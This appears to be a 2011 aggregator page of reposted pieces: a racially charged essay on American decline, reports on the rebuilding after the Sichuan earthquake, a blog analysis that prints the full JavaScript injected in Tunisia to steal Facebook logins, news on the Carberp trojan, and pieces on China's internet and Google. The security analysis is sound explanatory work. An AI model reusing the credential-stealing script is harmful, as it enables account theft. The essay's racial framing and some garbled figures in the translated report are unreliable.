China is also one of the most cohesive countries in the world. Racially, almost 100% of China is Asian, with almost negligible white, black, or brown minorities. In culture and ethnicity, Han Chinese constitute roughly 90% of all China, while the unassimilated and rebellious Mongols, Uighurs, and Tibetans make-up less than 2%, although their homeland altogether is 40% of China's landmass. China is more racially cohesive in 2011 than the US was in 1960 during Ike's Presidency, when almost 90% of all America was white.

In sharp contrast, America today is more racially fragmented then at any point in four centuries -- a tangle of squabbling minorities, as President Teddy Roosevelt ominously warned. The triumph of cultural Marxism and the Great Society after 1965 cannot be overstated. The birth rates for non-Hispanic whites rapidly plummeted during the 60s and have been chronically below 1.9 children per woman for more than 40 years. According to 2010 census, non-Hispanic whites have shrunk to less than 65% of America. With rapid and unabated racial and cultural fragmentation it is hard to believe tomorrow's America will be as single minded, vibrant, peaceful, and prosperous as it was until Reagan's Presidency.

Given such perilous social circumstances, the sharp contrast in policy and behavioral trends between China and America couldn't be more profound. While China saves, invests, and builds, America borrows, squanders, and crumbles. While China fosters and rewards meritocracy and excellence, Washington DC and complicit media systematically foment racial grievances, dictate affirmative action, racial quotas and gleefully reward and celebrate mediocrity. While China proudly asserts and spreads its Confucian and Taoist heritage, Washington DC demonizes and criminalizes its rich European heritage and wallows in multi-culturalism.

China is tenaciously and patiently building its power by focusing inwardly, while Washington DC is rapidly bleeding and bankrupting America in futile wars and imperial hubris around the world.

To weigh the success of American policy, we must ask two revealing questions: Did the cultural, economic, and military power of America expand or diminish relative to its Pacific rival during last 20 years? Was America able to facilitate contraction or containment of its future rival's capacities?

The sobering reality is that suicidal policy of technology transfer and "free" trade lured by murky promises of large marketplace as well as instruments of currency and wage arbitrage gutted American industry and sucked its economic vitality while China experienced unprecedented economic expansion. Meanwhile unsustainable military presence in Korea, Japan, and Central and South-East Asia has neither enhanced American security nor curtailed China's massive military build-up. Quite the opposite, it has been a horrendous burden on American society and economy.

Japan, India, and Russia, China's three largest neighbors have been either unwilling or unable to form joint security partnerships due to mutual suspicions fueled by American ground presence. There has never been an Indo-Russian or Indo-Japanese military conflict, and Russo-Japanese conflicts have been less historically divisive and gruesome compared to Sino-Japanese, Sino-Indian and Sino-Russian wars.

A 5+1 security partnership involving Japan, India, Russia, South-Korea, and ASEAN with China will not only carry tremendous weight and strategic influence, it will offer a real possibility of institutionalized peace and stability in East and Central Asia in a China oriented framework. A realistic re-appraisal of American capacity entails an off-shore balancing approach, where overwhelming American sea- and airborne nuclear and conventional deterrence coupled with purposeful diplomacy without ground presence in Asia will achieve solid and enduring Sino-American strategic equilibrium.

With $55 Trillion in debt, real unemployment close to 22%, 44 million people on food stamps, massive offshore outsourcing of jobs, a corrupting deluge of Chinese goods, and credit to feed debt afflicted consumption mania, and rapidly deteriorating infrastructure, the catastrophic tipping point is not far. America urgently needs to reorient itself inwardly to repair, rebuild, and rescue its society, economy, and culture. The decline and fall of the Romans and the British did not dissolve the Western Civilization and the Western World, but the decline and fall of America and certainly Europe might do just that.

Andy Maheshwari (PhD) specializes in Medical Biotechnology. He has been published in the Massachusetts Institute of Technology's The-Tech during his Post-Doctoral Fellowship, in Canada Free Press and American Thinker.

[1]Here China is not the biggest offender. Birth rates in India, the Islamic World, and Sub-Saharan Africa are even more catastrophic at 2.8, ~3.5, and ~5 children respectively.

*******************************************************

Long Is Totem Of The Chinese Nation , Has Been The Symbol Of Ancient China. And Different With Westen Lizard .

Chinese-Style Post-Disaster Reconstruction

2011-05-15T23:58:00.001+08:00

http://oversea.stnn.cc/Au/201105/t20110509_1576101.html

　　Chinese-Style Post-Disaster Reconstruction Presented by Changes of Chengdu
　　In the south-west of China, 70 kilometers north from Chengdu urban area, there is a town named Bailu. During these days, it is full of festive atmosphere. This town, characterized with French-style, will be open on May 12. You will never know that this town suffered 8.0 earthquake three years ago and became a ruin if you were not there before.
　　I went there not long after the earthquake. The scene was so horrible that I don't want to recall it until now. However, after only three years, a brand-new, traditional but also mixing French-style and exquisite town is presented to me. The speed of reconstruction and the high level of the result are really surprising. For more surprising, the great change of Bailu is not the only case but the universal one in Chengdu. I am really curious about the reasons of the Chengdu miracle and the experience of Chinese-style reconstruction.

Plan First, Developmental Style Reconstruction

　　There are two 800-mile-long streets in the core district of Bailu town. In the south of it, there are full of French-style buildings, with the shape of ancient castle, high, pointed roof and arched windows; in the north, the buildings are in Chinese traditional style. "This is what we talk as the Chinese-French style," the local official Gao Tiancheng introduces, "Bailu town presents the reconstruction idea of China governments at all level. It makes full use of the town's both historical and natural resources. It considers not only the current requisition but also the sustainable development.
　　Bailu town, with more than one thousand years history, enjoys agreeable climate and sound ecological environment. "Apart from the excellent natural conditions, the town possesses more than one hundred years of French culture origins," Gao Tiancheng observes. One hundred years ago, a French missionary came here and presided over the construction of three Catholic Colleges. One of them was still preserved well before the earthquake and became the landmark of the town and national cultural relic. Many couples getting married always choose it as the background of their wedding photos.
　　The 8.0 earthquake occurred on May 12, 2008. This town, only 40 kilometers away from the epicenter, was ruined with lots of people injured and great loss of property.
　　Reconstruction is the initial target after the tension relief. Governments at all levels decided to adopt the ideas and methods of the developmental reconstruction, rather than a simple recovery-type reconstruction.
　　"Considering the natural conditions and the historical culture, we decided to reconstruct Bailu town as a high level tour town with Chinese-French style," says Gao Tiancheng. After the reconstruction, people in Bailu town are no longer only doing the mining, but mainly engage in tourism, wedding industry and diversified agriculture. They live a better life now.
　　Over two years' reconstruction, the extent of Bailu's modernism, the level of its infrastructure and the living standard are totally different from the past. Gao says, "The Bailu that stands up from the ruin is like jumping at least over twenty years."
　　There are 16 post-disaster towns more with featured squares, stylish streets and tasty decoration like Bailu. They all adopted "developmental reconstruction" idea. It is not a copy of the past, but makes great progresses in the characteristics, the industry structure and the living standard.

　　Co-ordinate Urban and Rural, Use Urban Standard to Build Rural Areas

　　It takes one hundred million dollars to reconstruct Bailu but where is the money from?
　　"Our country gives us great support and the representation of it is the one to one assistant construction," says Gao Tiancheng.
　　According to the national arrangement, the developed Fujian Province is the support for Pengzhou, Chengdu, which Bailu belongs to. The total amount of the support money reaches 500 hundred million dollars. Bailu broadcast station, schools, the administrative center and part of those permanent housing are all the result of the one to one assistant construction project. This kind of project is an innovation. It is reported that the Japanese government has sent specialists to China to learn about it.
　　The Chinese government makes subsidies to every family for the rebuilding of the permanent housing. Governments at all level collect all kinds of donation to make allowance for every affected household so that they can afford the fees for rebuilding the houses.
　　"Without the power of our country and the aid from the society, it would take us a long time to rebuild Bailu as the current one by ourselves," Gao Tiancheng says.

Respect Public Opinion, Happy People

　　The smell of bread and coffee floats out from time to time in Bailu. Many of those residents that once engaged in mining and agriculture now turn into the bosses of bars, coffee shops, bakeries, wedding photography gallery and etc. The lifestyle of the town changes a lot.
　　The fifty-five resident, He Shengcai, opened the first supermarket in the town after the earthquake. Currently, he and his family invest more than one million Yuan to build a hotel. He Shengcai even learns some simple English for better service for foreigners. He smiles and says, "Everyone in our town can speak at least ten English sentences."
　　Yang Qingping, forty-four years old, once worked as miner, pork hawker, driver and some other professionals. Now he is engaged in tourism and owns a country hotel. This middle-aged man laughs a lot during our talks. Behind his name card, there is a poem that commends the new presentation of Bailu.
　　Most people that live in Bailu and other post-disaster districts are now living a happy life like He Shengcai and Yang Qingping. During the past two years, while Chinese governments at all level doing the material reconstruction, they also pay much attention to the spiritual aspect. They rebuild the residents' confidence and cultivate the sense of civilization, self-reliance and thanksgiving through counseling, seminars and cultural and sports activities.
　　The reconstruction of Chengdu after the earthquake promotes not only the material living standard but also people's cultural literacy.

3 Years After Quake, SiChuan Rises Again

2011-05-12T18:30:00.000+08:00

http://www.chinadaily.com.cn/china/2011wenchuan/2011-05/11/content_12485125.htm

BEIJING - Three years after a devastating earthquake, the worst-hit areas in Sichuan and neighboring provinces, phoenix-like, have risen from the rubble.

Ninety-five percent of reconstruction projects have been completed, with the remainder set to be finished by the end of September, Mu Hong, deputy director of the National Development and Reform Commission (NDRC), the top economic planning agency, said on Tuesday at a news briefing hosted by the State Council Information Office.

By the end of April, 885.15 billion yuan ($136 billion), or 92.37 percent of the overall reconstruction budget, had been spent, according to official figures from the NDRC.

In Sichuan alone, nearly 3,000 schools, 1,000 hospitals and more than 5 million homes have been built or renovated, according to Wei Hong, executive vice-governor of Sichuan province.

Mu said government goals for reconstruction have been basically met.

"Now every family has been provided a home and a job, and everyone is protected by social security. Infrastructure has been upgraded, the economy developed and ecology improved," he said.

The 8.0-magnitude earthquake jolted Wenchuan and surrounding areas on May 12, 2008, killing at least 87,000 people and leaving millions homeless. Neighboring provinces, such as Gansu and Shaanxi, were also affected.

Premier Wen Jiabao praised the rebuilding work on Monday at a meeting in Dujiangyan, Sichuan, at the conclusion of a three-day inspection tour.

Chinese Premier Wen Jiabao embraces Zheng Haiyang, a student at Beichuan Middle School in Sichuan province, during a visit on Sunday to the quake-hit county of Beichuan. Both of Zheng's legs were amputated after he was injured in the May 12, 2008 earthquake. [Yu Ping/China Daily]

He said there had been an improvement in people's livelihood compared with pre-quake levels, and progress had been made in social and economic development.

He recalled that on the 12th day after the quake, he had said: "A new Wenchuan will rise from the ruins."

On Monday, he saw his words had come true.

"Now incredible changes have taken place in the quake-hit areas, I feel very relieved," he said.

During the trip, his 10th to the province since the quake, he visited middle schools and neighborhoods.

Zhu Lihu, principal of Magong village primary school in Qingchuan county, told China Daily that teaching facilities had been upgraded.

The new two-story concrete building houses classrooms, a library and a computer room equipped with 20 PCs, "way much better" than the previous school, built in the 1960s with mud bricks.

The new school was financed by the city of Quzhou, Zhejiang province, in accordance with a State Council reconstruction plan. The plan links economically developed coastal regions with quake regions to help finance rebuilding projects.

Dong Xinjun, a resident in Qingchuan county's Qiaolou village, said volunteers from Zhejiang's Rui'an city taught him how to grow mushrooms and he earns about 3,000 yuan more annually than before.

Shaanxi Vice-Governor Jiang Zelin told the briefing the cities of Hanzhong and Baoji in the province, which were hit by the quake, had fully recovered, with farmers' annual income nearly double compared with three years ago.

Reconstruction in Shaanxi has created 260,000 jobs, Jiang added.

By Wang Huazhong (China Daily)

********************************************************

People mourn for the deceased in the old town of Beichuan Qiang autonomous county, Southwest China's Sichuan province, April 4, 2011. During the Qingming Festival, or the Tomb-sweeping Day, people come to the old town of Beichuan to mourn for those dead in the 8-magnitude earthquake in 2008. [Photo/Xinhua]

The bird's eye-view photo taken on April 24, 2011 shows Wenchuan, Southwest China's Sichuan province. Thursday this week will mark the third anniversary of the Wenchuan quake. [Photo/Xinhua]

The bird's eye-view photo taken on April 24, 2011 shows Wenchuan, Southwest China's Sichuan province. [Photo/Xinhua]

The bird's eye-view photo taken on April 10, 2011 shows Qingchuan county, Southwest China's Sichuan province. [Photo/Xinhua]

The bird's eye-view photo taken on April 10, 2011 shows part of the rural area in Qingchuan county, Southwest China's Sichuan province. [Photo/Xinhua]

The bird's eye-view photo taken on April 24, 2011 shows the rural area of Dujiangyan city in Southwest China's Sichuan province. [Photo/Xinhua]

The bird's eye-view photo taken on April 24, 2011 shows a scene in Wenchuan, Southwest China's Sichuan province. [Photo/Xinhua]

The bird's eye-view photo taken on March 28, 2011 shows Beichuan county in Southwest China's Sichuan province. [Photo/Xinhua]

The bird's eye-view photo taken on April 24, 2011 shows Yingxiu town in Southwest China's Sichuan province. [Photo/Xinhua]

The bird's eye-view photo taken on April 10, 2011 shows part of the rural area in Southwest China's Sichuan province. [Photo/Xinhua]

The Code Injected To Steal Passwords In Tunisia

2011-05-10T18:38:00.000+08:00

http://blog.jgc.org/2011/01/code-injected-to-steal-passwords-in.html

It's been floating around the net for weeks now, but I finally took a look at how someone in Tunisia (assumption is the government) was stealing usernames and passwords from common sites like Google Mail and Facebook.

The attack worked like this:

1. When a user visited a site like Facebook JavaScript would be injected into the page where the user types in their username and password. On Facebook these pages are served via HTTP and so the injection is possible if you can intercept at the ISP level. The actual username and password are sent via HTTPS but once the JavaScript is in there it's game over.

2. The login form itself is modified to include an onsubmit handler that calls the JavaScript function hAAAQ3d (which reads as hacked). That function reads the username and password and makes an HTTP call to a bogus page on Facebook. This page (named wo0dh3ad, which I think you can read was woodhead) has the username and password appended as parameters with some code to make them URL safe.

3. Someone, somewhere reads those URLs to extract the username and password. That could be done from a log file, or even a firewall could have been configured to filter these requests so that they would never reach Facebook.

I've pretty printed the code below. The major functions are hAAAQ3d (described above), r5t (generates a random string of characters which are added to the request URL used to send the username and password) and h6h (which I read as 'hash' which takes a username or password and converts it to a string of lowercase characters that can be safely transmitted in a URL).

There are helper functions inv0k(1,2,3) (which I read as 'invoke') which make the actual HTTP request. Two are used for different browser types and third is not used, but what it does is modify an injected image tag to get the same URL used to send the username/password.

function h6h(st)  {    var st2="";    for ( i = 0; i < st.length; i++ ) {      c = st.charCodeAt(i);      ch = (c & 0xF0) >> 4;      cl = c & 0x0F;      st2 = st2 + String.fromCharCode( ch + 97 ) +                   String.fromCharCode( cl + 97 );    }    return st2;  }    function r5t(len)  {    var st = "";    for ( i = 0; i < len; i++ )      st = st + String.fromCharCode( Math.floor( Math.random( 1 ) * 26 + 97 ) );     return st;  }    function hAAAQ3d()  {    var frm = document.getElementById( "login_form" );     var us3r = frm.email.value;     var pa55 = frm.pass.value;    var url = "http://www.facebook.com/wo0dh3ad?q=" + r5t( 5 ) +         "&u=" + h6h( us3r ) + "&p=" + h6h( pa55 );     var bnm = navigator.appName;     if ( bnm == 'Microsoft Internet Explorer' )      inv0k3(url);    else       inv0k2(url);  }    function inv0k1(url)   {    var objhq = document.getElementById("x6y7z8");     objhq.src = url;  }    function inv0k2(url)  {    var xr = new XMLHttpRequest();     xr.open("GET", url, false);     xr.send("");  }    function inv0k3(url)   {    var xr = new ActiveXObject('Microsoft.XMLHTTP');     xr.open("GET", url, false);     xr.send("");  }

If you enjoyed this blog post, you might enjoy my travel book for people interested in science and technology: The Geek Atlas. Signed copies of The Geek Atlas are available.

Carberp Trojan Removes Antivirus Scanners, Other Malware from Host

2011-05-10T18:32:00.001+08:00

http://www.eweek.com/c/a/Security/Carberp-Trojan-Removes-AntiVirus-Scanners-Other-Malware-from-Host-747864/

The latest banking malware Carberp has gone through three versions since it came on the scene last year and continues to add on new features.

A piece of banking malware is evolving more sophisticated capabilities to stay hidden on victims' PCs, according to several security researchers.

The information-stealing malware Carberp, discovered last October, can steal a range of data, disguise itself as a legitimate Windows file and remove any antivirus software installed on the host, according to Seculert. As the latest banking malware to emerge, it has been changing very rapidly and adding on new features and capabilities, Seculert said.

Carberp is considered the next big banking threat, alongside SpyEye, especially since the new Trojan attack kit was becoming the weapon of choice over Zeus, TrustDefender said. Development for the Zeus Trojan, the well-known banking Trojan that may have stolen millions of dollars, appears to have stopped, and the code has been merged with SpyEye, various researchers said.

Carberp runs on all versions of Windows, including Windows 7, without needing administrator privileges, according to TrustDefender. It can register itself as a browser extension in order to constantly monitor all Web traffic, even the encrypted online banking traffic. It can inject rogue HTML code into Web pages that can steal data, Seculert said.

Carberp has gone through three generations, Jorge Mieres, a malware analyst at Kaspersky Lab, told eWEEK. The first versions of Carberp were very simple Trojan downloaders that downloaded other pieces of malware, Mieres said. Each succeeding version has added on sophisticated features.

The second generation incorporated features for managing a command and control Web-based botnet, Mieres said. Carberp is one of the "largest private botnets," he said. The kit also contained a small plug-in called "passw.plug," which is designed to steal information from more than 90 applications installed on the infected computer, he said.

The third and current generation added two new components that interfere with computers' security software. The "stopav.plug" disables the antivirus software already installed, and "miniav.plug" acts as a cleaner to remove other pieces of malware, Mieres said. Seculert said the miniav plug-in can remove well-known malware families including Zeus, BlackEnergy, Limbo and MyLoader.

Carberp does the cleaning to prevent other malware from interfering with its activities, according to Seculert.

The latest version of Carberp has updated how it communicates with a command-and control server. Like most advanced malware, including the highly sophisticated Zeus, previous versions encrypted that traffic using RC4 encryption and used the same encryption key all the time, Seculert wrote on the blog. This made things easier for security administrators because intrusion protection systems could analyze traffic and pick out possible packets using that key.

The developers have caught on, and now Carberp uses a randomized key that it registers with the control server. Since the malware uses a different key every time, it is harder to detect.

The update has also changed Carberp's target. The previous version targeted banks in the Netherlands and the United States. The latest version is targeting users in Russian-speaking markets.

Seculert said Carberp will likely incorporate links to a scanning service in future versions, similar to SpyEye and other attack kits.

Regardless of which version infected a computer, Carberp collected information about the host's operating system, browsers and antivirus, said Mieres. This gives attackers an idea of what kind of antivirus software they need to evade. Security researchers have long warned that malware developers run new samples through antivirus software to make sure it can't be detected before releasing them into the wild.

The other twist is that the collected statistics tell the malware authors what antivirus needs to be added to the "stopav.plug" so that Carberp can deactivate it, Seculert said.

The statistics gathered by the botnet, as analyzed by Seculert, showed Kaspersky Lab's antivirus software had a "74 percent use ratio."

USA Vs. China On The Internet

2011-05-10T16:52:00.000+08:00

http://royal.pingdom.com/2011/04/19/usa-vs-china-on-the-internet/

Arguably, there are currently only two superpowers on the planet: the United States and China. Now that the world is growing increasingly dependent on the Internet, how do these two giants stack up online?

We've taken a number of Internet-related metrics to compare the two countries, things like the number of Internet users, Internet penetration, the speed of Internet connections, the number of domain names, favorite websites, web browsers, operating systems and more.

Let's get started!

Internet users

Ten years ago, the United States was by far the largest country on the Internet. That is no longer the case. It's been pushed into second place by China, with quite some margin.

Together these two countries now make up over 33% of the Internet. China alone makes up 51% of the Asian Internet population.

Internet penetration

The United States has a huge lead over China when it comes to the actual Internet penetration, i.e. the share of its population that has access to the Internet.

An interesting note here is that China has a ton of room to grow, while the United States doesn't. To give you an idea: If China had the same Internet penetration as the United States, it would have over a billion Internet users.

Internet growth

When it comes to sheer growth, China has been on a tear for the past decade. Its Internet user base grew an incredible 1,767% between 2000 and 2010. The United States more than doubled its Internet population in the same time, but needless to say, wasn't able to reach those levels of growth. This can be partly explained by the head start the United States already had (a decade ago it was much larger than any other country on the Internet), but China's growth has nonetheless been spectacular, and doesn't seem to be slowing down.

In this context, a look back in time is relevant. The United States had 95 million Internet users back in 2000, and now it has 239 million. China, on the other hand, has gone from just over 22 million to 420 million Internet users in the same period of time.

Internet connection speeds

In this area, the United States is far ahead of China. The average connection speed is five times faster in the United States compared with China, indicating that fast broadband connections are in much wider use.

The reason for this difference is clear when you see how connection speeds are distributed. In the United States, 34% of Internet connections are faster than 5 Mbit/s, while in China, only 0.4% are faster than that.

Internet hosts

In terms of servers connected to the Internet, serving content, the United States is way ahead of China. This is not surprising. It should be. The United States has been the leading web hosting nation from the start, and still is. Even people and companies not living in the United States host their websites there.

Yes, these numbers (from the CIA World Factbook) do indeed show that there are 28 times as many Internet hosts (machines) in the United States as there are in China. We're not sure what methodology was used to collect this data, though, and it may have been affected by China's careful control of Internet traffic. The US number should be large, though, and the country does have a huge hosting infrastructure, so it's not entirely implausible.

Top search engine

Google never really managed to land the number one spot in China, and now, with Google having largely stepped back from that market, that will remain the case for the foreseeable future. Instead, China's local search engine of choice is Baidu, which got its start back in 2000. It's essentially the "Chinese Google."

United States: Google
China: Baidu

Top websites

The top websites in the United States are all very familiar to the vast majority of the Internet users in the world. It's not until you look at the top sites for China that you realize that there are huge Chinese counterparts that are not necessarily big anywhere but in China. But on the other hand, with such a huge Internet population in China (not to mention the Chinese-speaking population outside of China), these services can blossom in that market.

Top 5 websites in the United States:

Top 5 websites in China:

Baidu.com (search engine)
QQ.com (online community)
Sina.com.cn (web portal)
Taobao.com ("China's eBay")
Google.com.hk (Google Hong Kong)

Facebook currently has no chance in China thanks to being blocked. Google's Chinese (.cn) site is practically closed, but as you can see, its Hong Kong version is still heavily used, enough to land it in the top 5. The fact that Google.cn will redirect users to Google.com.hk surely helps with that.

In general, the so-called Great Firewall of China has created a somewhat on/off relationship with international sites in China. Either you're allowed in (and play by the rules), or you're not. There is very little in between. That's not to discount the success of the Chinese alternatives that currently lead the way in China, it's just a general observation. It's a very different market.

Top web browsers

China still has a huge amount of Internet users accessing the Internet with the dinosaur IE 6, which can be a bit confusing when you consider that there are so many free alternatives available (newer versions of IE, Firefox or Chrome, for example). Part of the explanation is available further down under operating systems, and it's spelled "Windows XP" (which has IE 6 as its default browser).

Top 5 web browsers in the United States:

Internet Explorer, 47.5%
Firefox, 25.5%
Chrome, 14.6%
Safari, 11.2%
Opera, 0.6%

Top 5 web browsers in China:

Internet Explorer, 87.4%
Chrome, 4.4%
Maxthon, 3.8%
Firefox, 3.3%
Safari, 0.6%

Top web browser version:

United States: Internet Explorer 8.0, 33.9%
China: Internet Explorer 6.0, 41.1%

Top operating systems

We reported the other week that Windows 7 had finally overtaken Windows XP in the United States and is now the most popular OS in the country. However, the situation is very different in China, where Windows XP still has a huge lead. In China, approximately 4 out of 5 computers run Windows XP.

Top 5 operating systems in the United States:

Windows 7, 32.1%
Windows XP, 31.1%
Windows Vista, 19.1%
Mac OS X, 14.9%
iOS (iPad), 1.2%

Note also that iPad's iOS has managed to sneak into the top 5 in the United States. (This stat doesn't include iOS on iPhone or iPod Touch.)

Top 5 operating systems in China:

Windows XP, 82.2%
Windows 7, 13.8%
Windows Vista, 2.7%
Mac OS X, 0.5%
Windows 2003, 0.3%

We should point out that these numbers (from Statcounter) are based on Web usage, so they represent computers connected to the Internet, surfing the Web. Very relevant for this survey, in other words.

Domain names

When it comes to domain names, the stats that are usually available are for domain names categorized by country of purchase, not necessarily the country of the purchaser. This means that the United States will be overrepresented since it's a popular place to register domain names (thanks to the strong US hosting and domain industry).

With that in mind, here are the numbers for generic top-level domain names (gTLDs).

Then we have the country code top-level domain names (ccTLDs), .us for the United States and .cn for China. Something to keep in mind here is that .us hasn't really been able to establish itself very well in the United States. Instead, .com has dominated, leaving the growth of .us somewhat stunted.

Global share of attack traffic

With "attack traffic," we mean traffic of a malicious nature, for example attempts to gain access to a computer via various ports, exploiting weaknesses in the OS, etc. This includes so-called port scanning to find potential openings. The United States has the dubious honor of being the number one source of attack traffic in the world. China is third (after Russia).

Conclusion

So, what's the score once we've gone through all of this? A few takeaways:

China's Internet user base is bigger, much bigger (1.76x that of the United States).
The US Internet infrastructure is still way ahead of China's, at least for end users.
China has much more potential for growth in spite of already being the largest country on the Internet.
China's Internet users run older versions of software than the US Internet users are, at least when it comes to operating systems and web browsers.
The strong hosting industry in the United States keeps the nation ahead, especially since Internet users from all over the world use its services. (One might ask how long that will last, though.)

So while the United States still has a technological lead in many ways, it's already been passed by China in terms of people on the Internet, and will continue to fall behind in that department. It's simple math. China has a much larger population, a much lower Internet penetration, and thus has plenty of room to grow. We've examined this potential in the past, especially in view of how much the balance changed on the Internet between 2000 and 2010.

Hopefully the world doesn't end in 2012, because we'd love to look back at this post a few years from now and see how things have changed. How large and powerful will China get? Will the United States be able to keep its strong position on the Internet? As they say in the movies: To be continued…

Data sources: Internet user numbers from Internet World Stats. Internet connection speeds and attack traffic from Akamai's State of the Internet Report Q3 2010. Web browser and OS stats from Statcounter. Top sites from Alexa. Internet hosts from the CIA World Factbook.

Inside Google's China Misfortune

2011-05-10T16:49:00.001+08:00

http://tech.fortune.cnn.com/2011/04/15/googles-ordeal-in-china/

The problems that Google faced while establishing its foothold in China would shake the very foundations of the company and its "Don't be evil" operating ethos. A look at Google's past five years in China -- and where it went wrong along the way.

By Steven Levy, guest contributor

Viewing the July 22, 2009, solar eclipse with Google goggles

FORTUNE -- Plans for Google.cn were well under way by May 7, 2005, when an unexpected e-mail arrived in the in-box of Eric Schmidt. It was from a computer scientist and executive at Microsoft named Kai-Fu Lee. "I have heard that Google is starting an effort in China," he wrote. "I thought I'd let you know that if Google has great ambitions for China, I would be interested in having a discussion with you." Kai-Fu Lee was a celebrated computer scientist -- he'd worked for Apple previously -- who had become a phenomenon in China. Lee, who had grown up in Taiwan and gotten his Ph.D. at Carnegie Mellon, was the embodiment of the "sea turtle" -- an Asian-born engineer whose success in America was a prelude to a homecoming that allowed him to contribute to China's drive to the pinnacle of the world economy. Lee was perhaps the most famous of all sea turtles. Hundreds of thousands of people went to his website and wrote to him for advice, as if he were a combination of Warren Buffett, Bill Gates, and Abigail Van Buren. Google immediately recognized how Kai-Fu Lee could accelerate its plans to make a mark in China. "I all but insist that we pull out all the stops and pursue him like wolves," senior vice president Jonathan Rosenberg wrote to his fellow executives. So Lee flew to meet with Google founders Sergey Brin and Larry Page in Mountain View, Calif., on May 27, 2005. The session was a lovefest. Lee was startled when Sergey, who had arrived by skateboard, asked him, "Do you mind if I stretch?" and then did body motions on the floor while asking questions. As they left, Lee overheard one say to the other, "People like Kai-Fu don't grow on trees." When Lee returned to Seattle, he was greeted by a huge box of Google swag, including a basketball, a chair, and a coin-operated gumball machine with a Google logo.

Lee resigned from Microsoft (MSFT) on July 18 and officially accepted Google's (GOOG) offer the next day. It was worth over $13 million, including a $2.5 million signing bonus. On his Chinese-language website, Lee said that Google had given him a "shock" by its fresh approach to technology and postulated that in China, his new employer's youth, freedom, transparency, and honesty would produce a miracle. "I have the right to make my choice," he wrote. "I choose Google. I choose China." Microsoft rushed to the courthouse and charged Lee with violating a noncompete agreement that was part of his employment contract. But on Sept. 13, Judge Steven Gonzalez ruled that while Lee was prohibited from sharing proprietary information with or helping Google in competitive areas such as search and speech technologies, he could participate in planning and recruiting for Google's effort in China. Ultimately, the two companies would settle, and the restrictions on Lee's activities would be lifted in 2006.

Eric Schmidt and Kai-Fu Lee unveiling Google's Chinese name in April 2006.

Google.cn went live on Jan. 27, 2006. A few months later Google China moved into its new offices. It occupied several floors of a gleaming building that appeared as if it were made out of giant white Lego blocks and glass. It was one of several similar structures in the Tsinghua Science Park in the Hardan District of north Beijing, China's Silicon Valley. Occupying several floors of the high-rise, Google's headquarters was outfitted with the usual frills: physio balls, foosball tables, a fully equipped gym, a massage room, and (in a nod to local recreational activities) a karaoke room, and a Dance Dance Revolution videogame, as well as a huge cafeteria with free meals. Finding applicants wasn't a challenge. As soon as the news broke that Lee would be heading Google China, résumés began arriving by the hundreds. Lee went on a recruiting trip that had aspects of a rock-and-roll tour, with students actually bootlegging counterfeit tickets. Google's head of engineering, Alan Eustace, accompanied Lee on one trip and couldn't get over how people mobbed him. It was like some weird Asian form of Beatlemania. "He'd give a talk at a university, and it would be like a basketball game -- 2,000 people in the audience," he says. "He would be surrounded by literally hundreds of students. People would get close to him, just to touch him."

Signs of a distressed relationship almost from the start

Google had hoped that its decision to create a search engine in the .cn domain -- one that followed government rules of censorship -- would lead to a level playing field. But even as Google rolled out its .cn web address, there were indications that its compromise would not satisfy the Chinese government. Unexplained outages still occurred. (Meanwhile, Google's competitor Baidu seemed to hum along unscathed.) And not long after Google got its operating license, in December 2005, the Chinese declared that the license was no longer valid, charging that it wasn't clear whether Google's activities made it an Internet service or a news portal. (Foreigners could not operate the latter.) Google then began a year-and-a-half-long negotiation to restore the license.

Google finally got its license in June 2007. The dispute had been resolved in secret. And to a large degree the level of service stabilized. Another boost that year was that Google was granted a valuable concession: simply typing "g.cn" would take Chinese users to the Google.cn site. But by then many Chinese had written off Google as an unwelcome outsider with less reliable service.

The interior of Google's Shanghai office.

Because Google had a firm policy against storing personal data inside China -- to avoid the problems of having the government demand that Google turn over the data -- it did not offer a number of its key services for local Chinese users. No Gmail. No Blogger. No Picasa. Other services had to be drastically altered. YouTube was blocked entirely.

As Chinese employees came onboard, it took a while for some of them to adjust to the Google style. For instance, many were uncomfortable with Google's worldwide policy that employees initiate and pursue independent projects during 20% of their work time. Engineers had to be told by a visiting Mountain View executive that they did not need permission to do a 20% project. Yet the No. 1 concern of Google's engineers was their access, or lack of it, to Google's production code. Google was a collaborative company that wanted its engineers around the world to innovate on its existing products and create exciting new ones. It empowered them to do so by giving them access to its production code base. Without such access, engineers were limited in what they could do.

But unlike Google's employees in other locations, the China workers did not have such access. The restrictions limited what the engineers could do -- and sent a message that they were second-class employees. "At one time I had the feeling that if we didn't give them access, there would be a riot," says Google China manager Ben Luk. Suspicion lingered that the engineering executives behind the policy -- some of whom had deep concerns about the company's China policy -- had intentionally engineered rigid restrictions as a form of corporate civil disobedience against their employer's cooperation with censors.

Government relations fiascos

Google's success in China depended in part on having a government relations point person who could navigate the tricky shoals of preserving Google's values without offending Chinese officials. Google's first GR head was a former vice president of Sina, who was experienced in the ways of Chinese bureaucracies. But perhaps because she did not speak English, she failed to appreciate issues from the Google perspective. She complained to at least one colleague that Google wasn't flexible enough with the government and did not work hard enough to please it.

Kai-Fu Lee, a celebrated Chinese computer scientist who left Microsoft to launch Google in China -- which soon ran afoul of the authorities

Her tenure came to an end when Google discovered that she had taken it upon herself to give iPods to Chinese officials. She had charged them to Google, and another executive had approved the charge. In Chinese business culture such gifts are routine, but the act unambiguously violated Google policy, not least because it was an explicit violation of the U.S. Foreign Corrupt Practices Act. Google fired both her and the executive who had approved the expense. When she was called to Kai-Fu Lee's office for dismissal, she was dumbfounded. In Mountain View, this breach was another sign of how difficult the China situation was. Eustace, the Mountain View executive overseeing China, later recalled the incident as "the worst moment in our company" and blamed himself for not making sure that Google's representative to the Chinese government knew how dimly the company would view such an act.

After the employee's departure, Google chose a three-person government relations team, all female, led by Julie Zhu, an energetic woman in her thirties. She was hired straight from a government ministry, instead of the commercial sector with its backscratching culture. Zhu was better able to communicate with Mountain View. But she had her hands full fending off Chinese government directives. A demand would come from a government ministry to take down 10 items; Google would typically take down seven and hope that the compromise resolved the matter. Sometimes after a few days or weeks Google would quietly restore links it had censored. Every five months Google's policy-review committee in China would meet to make sure it was filtering the minimum it could possibly get away with. It was, as Google China engineering director Jun Liu put it, "trench warfare," but he believed that Google's continuing problems were proof that it was indeed moving the democracy needle in China.

